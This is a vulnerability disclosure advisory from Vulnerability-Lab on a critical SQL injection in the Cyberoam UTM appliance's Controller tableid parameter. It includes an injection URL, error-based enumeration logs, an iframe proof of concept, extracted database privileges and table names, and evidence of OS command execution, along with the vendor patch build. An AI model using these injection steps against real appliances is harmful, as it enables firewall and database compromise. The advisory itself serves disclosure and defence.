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Cyberoam UTM Appliance - SQL Injection Vulnerability

Cyberoam UTM Appliance - Critical SQL Injection Vulnerabilit

Code
Document Title:
===============
Cyberoam UTM Appliance - SQL Injection Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=60


Release Date:
=============
2011-12-18


Vulnerability Laboratory ID (VL-ID):
====================================
60


Product & Service Introduction:
===============================
Small and medium enterprises are as much at risk as large enterprises from the targeted attacks of today. They need to protect their networks 
effectively from external and internal threats without a large security budget. Cyberoam CR50ia, CR100ia, CR200i and CR300i are powerful 
identity-based unified threat management appliances, delivering comprehensive protection to small and medium enterprises (SMEs) with limited 
investment in financial and technical resources. Cyberoam gateway security appliance offers protection from blended threats that include virus, 
spam, malware, phishing, pharming. Its unique identity-based security based on Layer 8 technology protects enterprises from internal threats that 
lead to data theft and loss by giving complete visibility into and control over internal users.

(Copy of the Vendor Homepage: http://cyberoam.com/crismes.html)


Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered a  SQL Injection Vulnerability on the Cyberoam UTM & Security Appliance.


Vulnerability Disclosure Timeline:
==================================
2011-12-19:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================
Elitecore Technologie
Product: Cyberoam UTM Appliance 10.x - CR300i, CR500i &  older versions


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
A critical SQL Injection vulnerability is detected on the Cyberoam UTM WAF Appliance v10.x. The vulnerability allows an attacker to inject 
own sql statements on the affected firewall appliance dbms. Remote attackers can takeover the server and compromise the dbms & appliance.

Vulnerable Module(s): 

			[+] Controller - (?mode=301&tableid=[[]]&sort=&dir=)



--- SQL Error Logs ---
java.sql.SQLException: ERROR: each UNION query must have the same number of columns
...
java.sql.SQLException: ERROR: UNION types character varying and integer cannot be matched
...

java.sql.SQLException: ERROR: ORDER BY position 100 is not in select list
java.sql.SQLException: ERROR: ORDER BY position 10 is not in select list
java.sql.SQLException: ERROR: ORDER BY position 9 is not in select list
http://127.0.0.1:8080/corporate/Controller?mode=301&tableid=1%20order%20by%208--&sort=&dir=
java.sql.SQLException: ERROR: ERROR: ORDER BY position 8 org.postgresql.util.PSQLException: No results were returned by the query.  <= Columns: 8
...

org.postgresql.util.PSQLException: No results were returned by the query.
...

java.sql.SQLException: ERROR: unterminated quoted string at or near and user_id=0
...

{totalRecords:1,records:[{natprofilename: MASQ                                                                                                                          ,manage                           natprofileid                                                                                                                                :     1   ,isdefault :y}]}
...


Affected Version(s):
                                                                   [+] Cyberoam UTM Appliance CR300i, CR500i v10 &  older versions

Pictures:
			../1.png
			../2.png
			../3.png
			../4.png
			../5.png
			../sql_1.png
			../sql_2.png
			../os_exec.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with auth. For demonstration or reproduce ...

<html><head>
<body>
<title>p0c</title>
<iframe src=http://127.0.0.1:8080/corporate/Controller?mode=301&tableid=[SQL-IJ]&sort=&dir=>INJECT width=800 height=800>
</body>
</head>
</html>


Reference:
				[+] http://xxx.com/corporate/Controller?mode=301&tableid=2&sort=&dir=



--- SQL Access Log ---

current user:    'nobody'
banner:    'PostgreSQL 8.4.3 on i686-pc-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20070626 (Red Hat 4.1.2-13), 32-bit'
current database:    'corporate'

database management system users [1]:
[*] nobody

current user:    'nobody'

database management system users privileges:
[*] nobody (administrator) [3]:
    privilege: catupd
    privilege: createdb
    privilege: super
available databases [1]:
[*] corporate

Database: public
[34 tables]
+---------------------------+
| tblapplianceparam         |
| tblappliancespecificparam |
| tblattributes             |
| tblcolumndetail           |
| tblcompany                |
| tblcrevent                |
| tblcrparam                |
| tblcrreplyparam           |
| tblddnsserviceprovider    |
| tblentity                 |
| tblentitygrouprelation    |
| tblfirewallcolumns        |
| tblgroupcolumns           |
| tblicmpcode               |
| tblicmptype               |
| tblieentity               |
| tblieentityparam          |
| tblieregex                |
| tblimlogginglevel         |
| tblimprotocol             |
| tblinterface              |
| tblipprotocol             |
| tbllanguage               |
| tbllocalservice           |
| tbllocalservicetype       |
| tbllogoutput              |
| tbllogseverity            |
| tblmanagecolumn           |
| tbloperation              |
| tblregistration           |
| tblstatusmappings         |
| tbltheme                  |
| tblurlacl                 |
| tblweekday                |
+---------------------------+

Database: public
[34 tables]
+---------------------------+
| tblapplianceparam         |
| tblappliancespecificparam |
| tblattributes             |
| tblcolumndetail           |
| tblcompany                |
| tblcrevent                |
| tblcrparam                |
| tblcrreplyparam           |
| tblddnsserviceprovider    |
| tblentity                 |
| tblentitygrouprelation    |
| tblfirewallcolumns        |
| tblgroupcolumns           |
| tblicmpcode               |
| tblicmptype               |
| tblieentity               |
| tblieentityparam          |
| tblieregex                |
| tblimlogginglevel         |
| tblimprotocol             |
| tblinterface              |
| tblipprotocol             |
| tbllanguage               |
| tbllocalservice           |
| tbllocalservicetype       |
| tbllogoutput              |
| tbllogseverity            |
| tblmanagecolumn           |
| tbloperation              |
| tblregistration           |
| tblstatusmappings         |
| tbltheme                  |
| tblurlacl                 |
| tblweekday                |
+---------------------------+

Command standard output:    Linux localhost 2.6.27.45-crl #274 SMP Fri Jul 2 23:00:46 IST 2011 i686 unknown


Solution - Fix & Patch:
=======================
Release 10.01.2 build 059
ID: 289938


Security Risk:
==============
The security risk of the remote sql injection vulnerability is estimated as critical.


Credits & Authors:
==================
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)  & Pim J.F. Campers (X4lt)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

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